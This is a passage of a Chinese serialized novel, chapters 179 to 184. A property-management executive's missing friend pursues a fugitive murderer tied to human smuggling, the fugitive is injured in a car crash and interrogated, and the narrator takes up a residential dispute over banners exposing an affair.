“老杭，我这些天一直听文康提起你，像我们这样干物业区总的，能有你这样得力的干将，是一种福分呐！”我夸他。 老杭的小眼睛眯成了一条缝，笑哈哈的说：“吕总过奖了、过奖了。” “对了，杭易道是你的什么亲戚？”我想了解了解杭易道。 “他是我表叔，有点修为。”老杭说。 “我说你可得了，老杭，你这个表叔的修为可给我害惨了，他给人家那孩子绑的，胳膊都肿了，要不是我极力的道歉，第二天还给买了东西送去，人家都要投诉了。”高文康抱怨。 老杭不好意思的看看高文康，说：“我叔晚上眼神不好，他说他也没看到鬼影长啥样。” “总有理由，那你让文大爷跟踪我干啥？”高文康又问。 “我不是怕你们有危险嘛！关于这个鬼影传的挺邪乎的，你说你上有老下有小的，要是真出点啥事，可咋办？”老杭是真关心高文康。 “你以后不要未经我同意就发布指令，出了事全是我 的问题。”高文康说。 老杭不说话了，假传圣旨和先斩后奏确实都是职场大忌。 “文康，你这边的情况我都清楚了，明天我准备回去了，然后还要去南区。”我打断他们的谈话。 “向荣，记住我和你说的话，南区的刘国锋可跟我两个风格，你得付出的更多。”高文康提醒我。 我看着他，点点头，“好啦！此行不虚，走，临行前我请你吃碗面，等以后你来我的地盘，我也带你吃点特色。”我笑哈哈的拉着高文康出了门。 从西区回家的路上，接到了老袁的电话。 “袁总，您打来的真是时候，我正在回去的路上，刚结束西区的调研。” “我就知道你该结束西区了，怎么样？高文康是不是还挺好相处的。”老袁问我。 “的确，高文康就像是我的翻本。不过，西区基本没有衍生业务，有几个盘子也不赚钱。”我回。 “这些如实汇报吧，让他们自己决定去。”老袁说。 “我可提醒你啊，南区的刘国锋可不是一般战士，你的性格和脾气都得收敛。而且老板就是从南区起家的，那边的盘子最多，有几个还是老板直接管过的。”老袁补充。 “知道了，回来前高文康也给我打了预防针，搞得我都紧张了。”我回。 “紧张倒是没必要，你连老板都敢见，一个刘国锋还不足以让你紧张。”老袁说，“不过，南区目前正有一件棘手的事情，在当地都传的沸沸扬扬的，你可得小心。” 第一百七十九章 王敬之的怀疑 “什么事情啊？这么夸张，在当地都沸沸扬扬。”我好奇的问老袁。 “具体细节我不太了解，好像是一个业主被第三者插足后实施报复的。”老袁回。 “现在怎么这么多这样的事情，我在这边刚处理了一个，但是这个是以讹传讹。” “谁说不是呢，家长里短的，什么奇葩事儿都有，好了，我还有会，不和你聊了，等你到了南区告诉我一声。”老袁结束了跟我的通话。 我看看时间还来得及，准备先回去看看爸妈，然后再从B市出发去南区。 路上太疲惫小眯了一会儿，手机在我衣服兜里一直嗡嗡。 我拿出手机直接接起，还没等说话那边就着急的说：“向荣，是我，老林，许德生出现了。” 我激灵一下，“老林，抓住了吗？” “还在布局，应该很快会行动。你告诉王敬之，千万不要轻举妄动，以免破坏了我们的行动。”林翔着急的提醒我。 “我师哥？他怎么了？” “他这几天天天都来正阳大厦街对面的网吧报道，有一次我们明明堵到了许德生，却被他给截胡了。他就像未卜先知似的，许德生一出现，他准出现。所以我想你现在告诉他，今天不要再跟着捣乱了，抓人是警察的工作。”林翔严肃的说。 “哦，好好好，我听懂了，我马上就和他说，一定制止他。老林，你们一定要拿下许德生啊！”我也着急。 “好，先这样。”林翔挂断电话。 这师哥，怎么这么着急呢，难道说冯晶晶有什么事了？ 不行，我得赶快告诉他千万别耽误警察抓人。 拨通王敬之的电话以后，响了很久都没人接，我这心里就越来越发毛，这个家伙不会真的去破坏林翔的行动了吧？ 心里着急，车却得慢慢开，还有一个多小时才能到呢，我焦虑的不行。 正当我坐也不是、站也不行的时候，王敬之的电话回过来了。 “师哥，你千万千万不要再去捣乱了！”王敬之还没说话，我就冲口而出。 “林翔给你打电话了？”王敬之问我。 “你说呢？人家警察都布好局了，你跟着去不是瞎掺和吗？”我着急的说。 “我知道了，你不用担心，我不去。”王敬之明显有要和我说的话，但是被我一顿输出给搞蔫了。 我顿时觉得自己的情绪有点过了，哄着王敬之的口吻说：“师哥，老林的本事你也是知道的，咱们在家等着，抓到了人，晶晶的下落自然就知道了，咱们要相信林翔。” “你这是回来了？”王敬之没接我话茬，反倒问我的行踪。 “对，还有不到一个小时，我就能到B市，先回家看看你们，明天还要去南区。”我回。 “向荣，我今天是一定要在正阳附近蹲守的，我有强烈的直觉冯晶晶会出事。警察抓人我不上，你放心，我会等到合适的时机。”王敬之还是蹦出这么一句。 但是从小到大养成的习惯，我很信任王敬之，他如果是这么紧张，那就一定很严重。 “师哥，我不回家了，下车直接去正阳找你。你等着我！” “好，你到了联系我。” “一定要等我到了再行动，你要答应我！”在行动上我还是有点担心王敬之急躁。 “行！我等着你。” 接下来这几十分钟的路程，我基本上就没踏实过，脑袋里像放电影一样回放着从知道刘才东被杀，到荟萃亭修复风水的一系列事情。 老谢家被灭门，杜国瑞、李文月还有王闯被害，现在五兄弟死的死，被抓的被抓，许德生能潜逃到今天，确实是该落网伏法了。 可是王敬之为什么那么肯定冯晶晶会有危险呢？冯晶晶可是许德生的亲人，血缘关系很近的，他会害她？到了监狱里怎么跟丁有生交代？ 如果冯楠现在清醒了，知道自己养了这么多年的女儿，现如今生死未卜，会不会痛心疾首啊？ 不管怎么说，既然答应了王敬之，我就不能置身事外，冯晶晶是王敬之今生要破情执的人，王敬之放不下我太能理解了。 我一定要帮助我师哥救下冯晶晶。 等我车到了B市，已经是夜里八点多了，后半段时间手机安静的可怕，什么消息都没有，我甚至有点担心是不是已经出事了。 等我赶到正阳附近，给王敬之打电话的时候，很快，响了一声王敬之就接了电话。 “到了？我在之前遇到许德生那个网吧里。”王敬之低低的声音说。 “好，等我。” 到了网吧，找到王敬之，给我吓了一跳，半个月没见，这个家伙胡子拉碴的，两个黑黑的眼窝，整个一个憔悴不堪。 “师哥，你怎么搞的？这什么造型？”我有点生气，气他这么不爱惜自己。 “傻瓜，我这不是为了怕许德生认出来嘛！假的。”他扯下一点胡子。 “哎呀，师哥呀，我可真的是不扶墙就服你，你现在都跟福尔摩斯一样了！怪不得给林翔折磨的行动前得先按住你。但 是你这黑眼圈不是假的吧？”我有点心疼王敬之。 “几晚上没睡了，没事，等抓到他，好好休息休息就好了。”王敬之回。 “师哥，我说你啊，许德生都在这里被抓了好几回了，还能来这吗？是他笨，还是我们傻？”我质疑。 “你不知道，他只能在这里上网聊事情，他好像有个什么业务，跟贩卖有关系的。具体我没搞明白，上一次也是在这蹲守到的，要不是顾忌林翔他们，我都抓到他了。”王敬之着急的说。 “你可拉倒吧，查案、抓人，这都是警察的工作，人家不告你个妨碍公务就不错了。你就不能听我话，我走的时候是不是告诉你了，要你跟林翔保持沟通？”我责怪的说。 “我保持沟通了呀，那我说那些奇门遁甲他能相信我吗？”王敬之还不乐意了。 我不言语了，这道题无解。 “那你是怎么知道许德生有新业务的？这个你也遁得出来？”我问。 “上回没抓到他，我回来用他上过网的电脑，浏览他都干过什么，发现他查过一些有关的网页。” “所以你，你不会是怀疑他把冯晶晶给倒卖了吧？”我大跌眼镜。 第一百八十章 车祸 “完全有可能！”王敬之的回答是肯定的，毋庸置疑的。 “我知道你要提醒我冯晶晶和许德生的亲属关系，可许德生都干过什么你知道，那个人你也见过，你觉得这个关系对绝命流亡的人来说还有什么约束性吗？”王敬之又说。 这，我确实不敢确定。 “师哥，你是不是也给冯晶晶计算过了，结果不好？”我问。 “是的，所以我才特别担心，结果总是显示她要去很远的地方。”王敬之说。 “什么？”我惊呼。 王敬之说的“手艺”我很能理解，因为我也是干这个的，如果总是显示一个人要去很远的地方，那就大差不差了。 于是我也开始忧虑起来，替冯晶晶担忧，也替王敬之担忧。 一直在网吧等到11点多，我疲惫不堪，伏在电脑桌上睡着了，睡着前王敬之还在我身边上网，也没听到有任何异常的动静。 可是不知道睡了多久，被一阵猛烈的脚步声给吵醒了，也没人喊我，身边的王敬之不见了，怎么了？出了什么事？ 我四下寻找也没有，而且网吧的人全都急匆匆的往外走，我也好奇的跟出去。 网吧是临街的，再往前就是主干道，现在主干道路边的位置，围了好多人，我仔细看了看，还有穿着制服的警察，发生了什么？ 心急如焚的我着急的扒开人群，挤到最前面，出车祸了！ 一辆吉普车底朝上斜歪在路基旁，路灯的灯柱都被撞弯了，车玻璃碎了一地，里面大头朝下躺着一个人，看不清男女。 靠着人群这边，有警察把守的位置，一个满脸血的胖子躺在那，我揉揉眼睛，顺着路灯的光看去，许德生！ 绝对是许德生，他的身材矮囤矬，我不会记错的，虽然是满脸鲜血。 认出许德生的时候，我看到老林带着几个警察跑过来，看这样车祸应该发生没多久。 我赶快走了几步，顺到距离林翔最近的位置喊他：“老林，这里！向荣。” 林翔耳朵很灵，顺着声音看到我，急匆匆的走过来，“不是不让你们来么，怎么又来了！” 我有点尴尬的说：“我、我担心我师哥......这、这不会是王敬之搞的吧？”我突然害怕起来，要是王敬之，那事儿可就大了。 “不是他，我们没发现王敬之。在等许德生出现的时候，发现他从巷子里钻出来，急匆匆的往街对面跑，好像在追什么人，时间晚了，他以为没有车，结果就被这辆吉普车给撞到了。”林翔说。 这时候救护车赶到，开始实施救援。我却懵了，这是，发生了什么？不是警察，也不是王敬之，是谁呢？许德生为什么要着急的追赶？ 最关键的，王敬之去哪了？ 我赶快拿出手机给王敬之打电话，可是一如所料的，全是忙音。 我的心里有种前所未有的恐惧，怎么让自己安定都安定不下来，就是恐惧，一想到王敬之，甚至是为他的安危祈祷的时候，那种恐惧都无法掩饰。 糟了，一定是出事了！ 不禁想到之前王敬之跟我说过，如果联系不上他，不要着急，他会找时间联系我。 难道说师哥早就预料到了会有今天？他早就布好了局，但是他没有和我说？ 都怪我！我为什么不抓紧时间和他聊聊呢，这么长时间不见了，我为什么要耐不住困倦！我懊悔的捶着自己的脑袋。 “向荣，你没事吧？”林翔看到我的失态，担心的问我。 跟林翔我不能隐瞒了，“老林，我师哥失踪了！” 林翔错愕的看着我，我把整个过程，以及王敬之的反常说了一遍。 林翔第一时间喊过跟着来的一个警察，让他去网吧，找王敬之上过网的电脑，查询痕迹，然后还安排调取了周边的监控设备。 “向荣，我相信敬之没事。按照你的说法，他应该是在找冯晶晶的路上，说不定是他发现了什么，但是来不及和你说。”林翔劝我。 我还是很担忧，但是我知道林翔说的有道理。 那一刻我甚至什么都不想干了，只想去找王敬之，他是我的亲人，我从小一起长大的兄弟，我不能看到他有事。 “老林，我跟你一起回警局吧，看看能不能查到王敬之的消息。”我殷切的说。 林翔能理解我的心情，点点头，我们跟着救治许德生和另一个伤者的救护车一起离开了现场。 一直等到天亮，医院传来消息，受伤的两个人都脱离了生命危险，但是还在昏迷中。 采集网吧信息的警察传来的消息是，王敬之看的是一些倒卖人口的暗网介绍，而且看了很多这方面的案例，其中还有一些关键词，应该是王敬之找许德生的过程中发现的。 调取周围监控视频的传来的消息有限，林翔喊我一起去看。 先看的是车祸发生现场的，从小巷奔跑而来的确实是许德生，他好像是在用最快的速度在跑，确实像是在追赶什么。 “小孙，你把对面的调一下，时间再往前调二十分钟。”林翔指示。 “啊？是我师哥！”我赫然发现，视频中出现的跨过主路狂奔的人竟然是王敬之。 “向荣，你看准了吗？敬之有这么长的胡子吗？”林翔问我。 “他的胡子是为了避免许德生认出来自己粘上去的。是他没错，我师哥跟我在一起的时间太久了，他的动态我太了解了。”我回。 “这就奇怪了，王敬之身上有什么东西，会让许德生这么拼命的追赶呢？”林翔问。 我也陷入了迷惑，我不知道，而且最懊恼的是，王敬之走之前竟然没有叫醒我，他一个字也没和我说！ “老林，怎么办？我很担心我师哥。”我已经没有任何办法了。 “别急，还有许德生呢，等他醒了问问他。”林翔回。 没错，可以问许德生，至少这一次我们终于抓到了许德生。 “向荣，你的心情我能理解，你放心我们不会放弃追查的，一定能得到敬之的消息。你把他的手机号告诉我，我找技术人员监察一下方位。”林翔说。 对啊，林翔的话提醒了我，我回去可以用奇门遁甲，看看王敬之到底怎么了。 第一百八十一章 一波又起 我特意跟老袁请了几天假，说明王敬之失踪的事情，等许德生清醒后，知道消息我再返岗。 老袁是通情达理的，还提醒我把王敬之负责的园区找人顶上，这个时候自己是特派员，自己下边的辖区更不能被抓出毛病。 谢过老袁的提醒后，我回到家，看到爸妈和姐姐，没有告诉他们王敬之失踪了，只是说王敬之要出差、走一段时间，让他们这段时间有事情就找我。 我姐还劝我说：“向荣，家里没啥事，你忙你的工作，爸妈有我照顾，你不用担心。” “姐，那要辛苦你一段时间了，过两天我要出差去南区，至少也要十天半拉月的不在。” 我姐点头告诉我工作第一，先忙工作。 我来到王敬之的房间，看着他为了开中医馆，准备好的材料，还有他调研的东西，眼睛开始潮湿，这个家伙要开中医馆是真高兴，这是他的梦想。 可是冯晶晶却是他的一道坎儿，原来我姥爷说的情执是这个？我师哥就必须要有这一劫难？ 拿出自己袋子里的“家伙事儿”，我也要看看王敬之的情况。 人身安危倒是没有，不过，显示是困，难道是被困在哪里了？怪不得手机打不通，也监测不到信号。 我又推算了一下冯晶晶，确实像王敬之说的一样，显示在很远很远的地方，具体方位是东南再往南。 困，把我难住了，师哥啊，你好不好给我个提示呢，让我去救你。 两天后林翔让我跟着去了许德生所在的医院，这个家伙因为速度过猛，被迎面而来的吉普车撞了个结结实实，吉普车也因为急刹躲避，窜出去百米，车主无法控制翻了车。 我看到许德生的时候，这个矮囤矬身上缠着纱布，一条腿被吊起来，打着石膏，头上也缠着纱布，想必是那些碎玻璃扎坏了他的脸。 但是他的眼睛是明亮的，说明他已经清醒了。 “许德生，你还跑吗？”一个警察问。 许德生轻轻的晃头，不说话，眼睛却盯着我看。 林翔看看许德生的表情，严肃的问他：“你认识他？他师哥你认识吗？” 许德生想点头，但是鼻孔有管子，只好张张嘴，我能听到那声虚弱的，“认识。” “你是在追他师哥吗？”林翔问。 许德生虚弱的说：“是。” “为什么要追？”林翔问。 “他拿走了u盘。”许德生的回答清晰可辩。 u盘？我就打盹了那么一小会儿，王敬之竟然干了这么多事儿！他是怎么弄到许德生的u盘的？u盘里到底有什么？ “什么u盘？谁的u盘？里面有什么？”林翔问。 “我的u盘。”说完这句许德生就不说话了，林翔再问什么，他都不说。 我有点着急了，问许德生：“冯晶晶去哪了？她是你亲戚，你不会连自己的亲戚都不放过吧？” 我有那么多问题，但是第一个我却先选择问了这个。 许德生明显不感兴趣亲戚二字，而是看着林翔，我明白了，他的意思他只回答警察的问话。 这个恶棍，到了终点了，还在这拉硬！ 林翔来之前已经问过医生，许德生现在可以接受讯问，于是开始了一件件事情的讯问，我也知道了心里一直想知道问题的答案。 许德生灭门，确实是因为谢志强的要挟，被丁有生授意，当时还夹杂着谢志强拆散他跟谢敏的恨意。 不过当时他真的没想杀谢敏，杀谢敏是因为谢敏拿走了他的50万。 这50万属于封口费，谢敏知道他倒卖文物的事情，那个时候谢敏还跟许德生有不正当关系，许德生为了堵住谢敏的嘴，给她的卡里打了50万。 他本以为就他俩这关系，这钱以后还是他的，但没成想，谢敏把这钱转给了刘才东。 杀老谢家全家那天，刘才东突然造访，许德生在谢敏背后，用刀逼着她给刘才东开了门。 刘才东目睹了凶案现场很震惊，为了救谢敏跟许德生大打出手，却被许德生击昏带回了名都，最后被杀害，毁尸灭迹。 至于为什么谢敏要把50万给刘才东，许德生说的是，谢敏称刘才东是好人，是正直的人，这笔不义之财只有留给正直的人才能发挥最大的作用。 许德生坚持说谢敏的男人只有他自己一个，刘才东只是帮了谢敏很多忙，两个人很清白。 “冯晶晶到底被你弄到哪去了？你们在东郊别墅搞的勾当，冯晶晶有没有参与？”林翔问。 “我不知道晶晶跟明叔去了哪，东郊没有晶晶的事。”许德生说。 “谁是明叔？冯晶晶为什么要跟他走？”林翔问。 “明叔是接头人，他们看中了晶晶，其他人他们都不满意......”许德生说。 我一听，完了，冯晶晶凶多吉少，怪不得王敬之这么担心，看来真的是被挟制住了。 “你还叫不叫人？冯晶晶可是你直系亲属！”我吼道。 “嘿嘿嘿，你们逼我这么紧，我连吃饭的钱都得算计，我得先保我自己。”许德生说。 “明叔是做什么的？”林翔问。 “蛇头” 完了，实锤了，这些跟推算的结果不谋而合，冯晶晶确实是被带到很远的地方了。 “他们是去东南方向了吗？”我着急的问许德生。 许德生看看我，有些惊奇，意思好像我怎么知道。 就这一个眼神，我就明确了自己的判断。那么王敬之走的时候是知道冯晶晶去哪了？ “王敬之知道冯晶晶的具体方位了？”我问。 “那个u盘里有，他应该已经知道了。”许德生说。 我一想，正好我要去的也是南区，方位一致，“老林，给我一个明叔的样貌特征吧，我明天要出发去南区，我也可以找一找。” 林翔点点头，安排跟着的同事询问许德生明叔的特征，并做画像。 “向荣，我安顿好这边的事情，也会申请过去，你去了以后要暗中进行。”林翔提醒我。 “我知道的，老林，我很担心我师哥的安危。据说从事这些非法勾当的人都心狠手辣，而且很不容易被抓到。”我说。 “的确如此。没想到一个荟萃亭灭门案牵扯出这么多事情，今天总算可以告一段落，冯晶晶和王敬之我们不会放弃的。”林翔说。 我看看林翔，想到了刘才东，“老林，现在可以给刘才东平反了吧？” 第一百八十二章 情感纠纷 “平反！必须平反，刘才东不但不是嫌疑人，还是受害者。”林翔大声的说。 我在心里跟刘才东说：“东哥，你可以安息了，你的事情终于水落石出，兄弟祝你一路走好！” “向荣，这个案子你跟着帮了这么久，而且提供了很多关键线索，你也得记一功。” “老林，不用，你是知道的，我也是为了我哥哥，我有私心。而且现在，我师哥找不到了，冯晶晶也下落不明，我这个心还是没完全放下。王敬之对于我来说，就跟我的亲人一样！”我动容的跟林翔说。 林翔的神情落寞了，然后说：“我懂，认识你这么久了，你是什么样的人我太清楚了。” “老林，我要先走一步了，下午还要坐火车去南区，等你到了那边记得联系我。”我拍拍老林的肩膀，准备离开。 “好！我不会太久，应该有个一周左右就会去。”林翔说。 “行，再联络。” 去往南区的火车上，我焦躁不安的翻看着手机，真的希望王敬之能打过来，我始终相信他说的，他会联系我。 情绪也因为王敬之失踪这件事低落到谷底。 出站的时候，我四下张望着举我名字的牌子，来之前南区区总刘国锋告诉我，接站的人会举着写我名字的牌子，让我找牌子。 可是我都快走出出站口了，也没见到有举我名的牌子。 没人接，我也不知道到哪里找刘国锋，只好给他打电话，“你好，刘哥吗？我是吕向荣，我已经下火车了。” 我就听着电话那头有特别嘈杂的声音，像是一个许多人在打架的场合。 刘国锋急切的声音传过来，“特派员啊，你到啦？糟了，我的人在这帮忙拉架呢，忘记去火车站了，你等一下，我让他马上去！距离不远，你等他一会儿。” 我刚要说句话，刘国锋那边已经挂断了，什么情况呀？打架？ 既然主人让我在这等，我只能等了，等的时候以为真的是“一会儿”就来了呢，可是足足等了半个多小时，连个人影都没见着。 我有点累了，这是不欢迎我来啊，不欢迎也不能不见面吧？毕竟我是代表集团过来的。 正当我要再次打电话的时候，看到有个小老头举着牌子跑过来，“哪位是吕总？哪位是吕总？” 别看人瘦瘦小小，嗓门是挺高，引得一众人侧目。 我赶快招呼，“这里！” 小老头赶快跑过来帮我拿行李，“抱歉啊，吕总，今天我们龙江苑出了点事情，突发的，刘总一个人应付不来，我就留下帮忙了，耽误了接您。” “没关系，走吧。”我很疲惫的说。 我跟着小老头往外走，想了想问他：“师傅，还不知道你的名字呢？怎么称呼？” “我叫李国强，是龙江苑的安保，也负责给刘总开车，处理后勤事务。”老头说。 “看您的样子，年纪不小了吧？”我问。 “我今年55了，但是做安保有20年了。”李国强回。 “20年？这么长时间！一直在我们集团吗？”我问。 “来这边干了有8年了吧，我比刘总的时间还要早一点。咱们集团老板招我来的，他管这边的时候，我就在。”李国强回。 我一听，找对人了，这不就是袁总提醒我的，这边藏龙卧虎的，很多人都是老板管的时候就在。 “那您属于元老了，对南区这些楼盘都熟悉吧？” “元老啊，还有跟我时间一样的呢，你要说是元老，那就元老吧，我们是跟着老板，一个楼盘一个楼盘壮大的，咱们老板啊，是个干事业的人。”李国强说。 “我们这是去找刘总吗？”我坐上李国强的车。 “对，刘总在龙江苑呢，他让我带你去那里。”李国强发动车，我们向龙江苑驶去。 这老头的车开的倒是真稳，一路无话，我看着窗外的风景，南区是个好地方啊，四季如春，气候不凉不热，这边干物业确实可赚钱。 车程确实不长，车直接开进龙江苑的院子里，准备下地下停车场。 可这时候我赫然看到从园区门到园区路上这一片都挂满了条幅和标语，上面赫然写着：钟良和刘楚嫣乱搞男女关系，破坏彼此家庭，狗男女！ 钟良道貌岸然，勾引有妇之夫，论罪当诛！ 刘楚嫣不守妇道，红杏出墙，该浸猪笼，破鞋！ ...... 条幅都是用白色的底布，黑色字或者红色字写的，特点都是又大又醒目，挂满了一路，让人看着很惊悚。 “李哥，这是什么情况？这就是你说的打架？”我问。 “哎！就是这个。这事儿都发酵一个多月了，都上了本市新闻了，龙江苑这回可有名了，全是负面新闻。”李国强唉声叹气的说。 这时候车已经开进地下停车场，我一看，好家伙！停车场两边的墙上也挂满了条幅。 “这些挂的东西，你们就让一直挂着啊？”我问。 “那哪能呢！刚挂上的时候，当天我们就摘了，可是第二天就又全都挂上，一个都不少，还有的位置会多出来。后来一直持续了一个多星期，他挂我们摘，他再挂我们再摘，但是不管用啊，这个业主老执着了，就跟神经出问题了一样，整不过他，真整不过！” 我听完李国强的叙述，明白了这就是老袁说的那件传的沸沸扬扬的事。 “李哥，我看条幅写的意思，这是个情感纠纷？写的内容属实吗？”我问。 “对，就是互相插足家庭的，应该是属实的，钟良和刘楚嫣都不敢出来了，反正我是一个多月了都没见到人。”李国强回。 “那挂条幅的人是谁呀？” “刘楚嫣的老公，金辉！据说还是一个老师，你说说现在，什么职业的遇到这种事都得懵啊！没办法，真的没办法。” 车停好以后，我跟李国强从地下停车场坐电梯来到物业办公室。 刚一进门，李国强就跟里面的人说：“刘总，人接回来了！” 还示意我往里走，我心想这刘国锋确实跟高文康不一样，我人都到这了，就不能说出来迎一迎？ 第一百八十三章 实际管事儿的是小杨老板 一直到我进了里间，隔断后面才慢悠悠的站起一个人，这是我第一次见到刘国锋。 个子较矮，应该还不到175，40多岁的年纪吧，身材却已经发福了不少，尤其肚子凸出的厉害。 鹰钩鼻，眼睛笑眯眯的，像西游记里抬孙悟空的那个精细鬼，这种面相的人非常善于算计。 “吕向荣吧，你好！可给你盼来了！”刘国锋伸出手跟我握手。 “刘总好！”我也伸出手回握。 “刘总，咱们这些年的集团会议都没见过么？我对您竟然毫无印象。”我先拉开话头。 总要多聊一聊才能增进了解，这刘国锋给我的开头太冷冰冰了，远远敌不过高文康的热情。 “是，你肯定没见过我，我基本上就没去集团开过会。”刘国峰还是笑眯眯的说。 “没去过？您来了好多年了吧？为什么不去呢？”我好奇。 “这你有所不知啊，我们南区是老板一点一滴干起来的，12个楼盘都什么特征，他比谁都清楚，我还去干啥。而且每年代表南区过去的都是小杨老板。”刘国锋话里有话。 “小杨老板？你是说董事长的弟弟？”我问。 “对，这南区啊，名义上我是区总，实际上管事儿的是小杨老板，所有的事最后都得他拍板。”刘国锋话里话外的透露着一种郁郁不得志。 懂了，这才是南区“水深”的原因，我不禁想起来，自己在德邻居开了程佩娴，程佩娴就是小杨老板这条线上的关系。 看来我再一次落到了痛恨我的人手里，程佩娴的事情我已经把小杨老板得罪了。 要不然也不会有我后来的停职。 “特派员这次来，主要是想我们配合你做什么工作呢？”刘国锋问。 “刘哥，您能叫我名字吗？我这人最朴实了，拐弯抹角的我也不会，走关系的我也不行，所以你千万别和我说什么级别，咱就名字相称，最舒服。”我解释。 刘国锋先是愣了一下，然后哈哈笑起来，拍拍我的肩膀，“好的，向荣。” “哎，刘哥，你看这多好！”我也笑了。 李国强这时给我们分别倒了两杯水，我不失时机的说：“这次来呢，主要是受老板所托，看看现在集团下边全部的楼盘，了解一下经营数据、有什么问题、能不能解决，主要是看数据分析报告。” 刘国锋点点头说：“这没问题，这些我们这里都全，一直是按照集团要求走的，小杨老板要求我们跟集团步调一致。” “小杨老板经常在这边办公吗？”我问 “也不是，分时间段，去年后半年都在南区，今年就待了两个月就离开了，下个月应该就能回来。”刘国锋回。 “刘哥，看集团报表，南区经营数据挺好的，你这里应该没什么棘手问题吧？” “有啊！有没有棘手问题可不能光看报表，你来时候看到了吧，就这龙江苑，现在都上新闻了，这波舆情我还没消减下去呢，都愁死我了。”刘国锋的表情是真的一筹莫展。 “咋回事？具体细节你给我讲讲，我确实看到条幅了，挂在园区里影响太不好了！” “这事发酵到现在已经一个月了，一开始的时候我们以为业主就是要泄愤，发泄发泄也就算了，但哪知道，他神经受刺激了，现在没完了。而且现在的人你也知道，都爱凑热闹，东家长李家短的，现在园区里没有不知道这件事儿的。” “就因为这个事，好多要出租的房子都没租出去，连中介都不推这里的房子，说是怕看房的进来一看条幅就吓跑。” “你们可以告诉业主必须停止这种散播啊，条幅挂的位置是公共资源，他没权利侵占的。” “说了好多次啦，光报警就报了好几次。可是警察协调之后，条幅摘了消停顶多两天，他又开始发传单，见人就给，现在他那个老婆刘楚嫣，网上都有名了，经常接到谩骂她的电话，整个人都要分裂了。”刘国锋忿忿的说。 “要说这男的也是的，两个人都这样了，还能互相面对吗？潇洒退场多好，非要这样报复、彼此折磨。对，这个业主是个教师，叫金辉，还是重点中学的，现在学校都知道了，他那工作我看也难保。” 原来是这样，看来这愤怒的情绪一时半会儿还收敛不了。 “龙江苑常住业户多吗？”我问。 “龙江苑这里是学区房，入住率是百分百，而且大部分都是在附近重点中学上学的，所以只要一有什么事，那肯定就全知道了。很多业户家的孩子都是同学，都认识。就这金老师也是那个学校的，所以这次的影响特别坏。”刘国锋说。 “我们一开始都能理解金老师，毕竟都是男人，哪个男人能接受被戴绿帽子的事情，可是他越做越过火，我们现在也不站他那边了。”刘国锋补充。 “这么说，第三者这件事是千真万确了，并不是以讹传讹。”经历过之前的事情，我想还是要谨慎下定论。 “千真万确！金老师的老婆自己亲口承认的。那个钟良才不是东西呢，人家老婆都敢承认，他干了坏事儿了反倒躲了，躲远远的，也不出来保护那女的。他自己老婆也被金老师刺激的神经兮兮的。” “刘哥，那你现在是接到了不少投诉吧？”我问。 “对啊！而且新闻都播报了，我再不拿出点手段肯定是不行啊，这院子里的业主也不能饶我。” “那你是要劝退金老师呗？然后把院子里清一清。”我问。 “劝退太难了，我在想设计一个什么样的套路，可以让金老师自己消停下来。”刘国锋神神秘秘的说。 “他这么大肆散播，也是违背治安管理处罚法的吧？找警察不行么？” “警察来过，也就是劝，没有造成什么损失，他老婆和钟良又不告不起诉，所以经官没用。” “向荣，我听说你上懂天文、下知地理，什么都懂，你看看这件事哥哥该怎么给平息了？”刘国锋殷切的问。 “刘哥，你这听说的是我吗？我要是有那个本事，还能在这干物业经理？” 第一百八十四章 绿帽子 不知为什么，我总是觉得刘国锋在有意刁难我，想看我到底有没有能力。 对这种行为，我是很不爽的，但是又一想，人家对我不了解，想通过实际情况看看我是不是真的如此，倒也无可厚非。 我此行来南区不就是两个目的吗？一是完成特派员的任务，二是要找到王敬之。 算了，忍了吧，既然事情让我赶上了，那就是天意。 “刘哥，既然这件事让我赶上了，我就不能袖手旁观，我先跟你去会会这个金老师吧，看看有没有劝动的可能。至少把这漫天的条幅给撤喽。”我心平气和的说。 刘国锋神态怪异的看看我，很明显他没想到我能如此平静的应对他的要求。 “向荣，太谢谢你了，走吧，我们现在就去会会他。”刘国锋说感谢我。 我没闲心去理会他的那些虚情假意，心思确实被龙江苑这件事给牵引住了，这得是受了多大的刺激，才会做出如此伤敌一千、自损八百的行为呢？ 金老师的家在园区中心位置，小高层15楼，刘国锋敲了足足有五分钟的门，才听见里面拖沓的脚步声传过来。 门被打开以后，我一愣，这、这个男人怎么被折磨成了这样！ 头发胡乱的盘踞在头上，鬓角和脖颈处的头发已经长的弯曲了，胡子更是恣意生长，脸蛋子红红的，眼睛也红红的，穿着邋遢的背心短裤，一股浓重的酒气味扑面而来。 “你们是哪的？干什么一直敲门？”舌头因为喝多了酒，说话直打结。 “业主，我是物业的，您不记得我了？我姓刘。”刘国锋说。 “......物业的？你们不用说了，不满意就去找警察！”说完就要关门。 我正好站在门边，用脚尖倚住门，“业主，这事惩罚了对方，您自己不也得活下去嘛，闹得沸沸扬扬的何必呢！我们都是男人。”我说。 金老师抬眼看看我，那眼睛因为酒精的作用已经迟滞了。 “活下去？活不活我也不知道，有可能今天活、明天就死了。脸都没有了，还考虑什么活？”他像是在回答我，也像是在嘲笑自己。 “不至于啊！您还有自己的事业，有孩子，为了已经离开的人毁了自己，值得吗？”我又问。 我想继续和他聊下去，只要他能跟我聊，我就有信心攻克他的心防。 “当然值得！他们毁了我的一切！我的家庭、我的事业、我的脸面，我的人生！我必须让他们付出代价。”金老师近乎歇斯底里。 刘国锋拍拍我，示意我不要再继续说下去了，然后跟金老师说：“业主，您休息吧，等改天您没事的时候，我们再聊。” “没有聊的可能！以后别来了！”金老师大声的否决，然后很迅速的就关上门，幸亏我反应敏锐，不然我的脚恐怕就废了。 往回走的路上，刘国锋埋怨我：“向荣，业主明明已经喝的没有理智了，你还刺激他干啥呢！刚才多危险，如果我不及时制止，恐怕又会酿出大事件。” 我压抑着心里对他说的话的不满，问他：“什么大事件？之前发生什么了？” “就是因为我们下边的一个员工非要跟他谈心，非要劝解，结果一句赶一句的说到了他心里的痛处，他马上就崩溃了，大喊大叫，还去砸对门钟良家的门，钟良的爱人吓得不敢吭声，后来还报了警。”刘国锋说。 “事情发生以后，他一次也没跟钟良照过面是吗？”我问。 “哎呦，没照面就是好的，照了面还不得弄出人命来啊！”刘国锋每句话里都带着反驳我的、教育式口吻。 我不想再继续聊下去了，跟一个时时处处想压制我、想证明我不行的人聊天是很愤懑的一件事。 “刘哥，今天也快到下班时间了，你忙你的吧，我一会儿回住处，明天上班后我们再聊这次的工作安排。”我准备辞别刘国锋。 刘国锋虽然意外，但是也早就想跟我分开，顺水推舟的说：“好，需不需要让李国强送你？” “不用了，我定的酒店距离这里不远，我自己可以回去。你去忙吧。”我回。 “好，那你今天早点回去休息，舟车劳顿的也确实不适合马上弄工作。我先回物业了。” 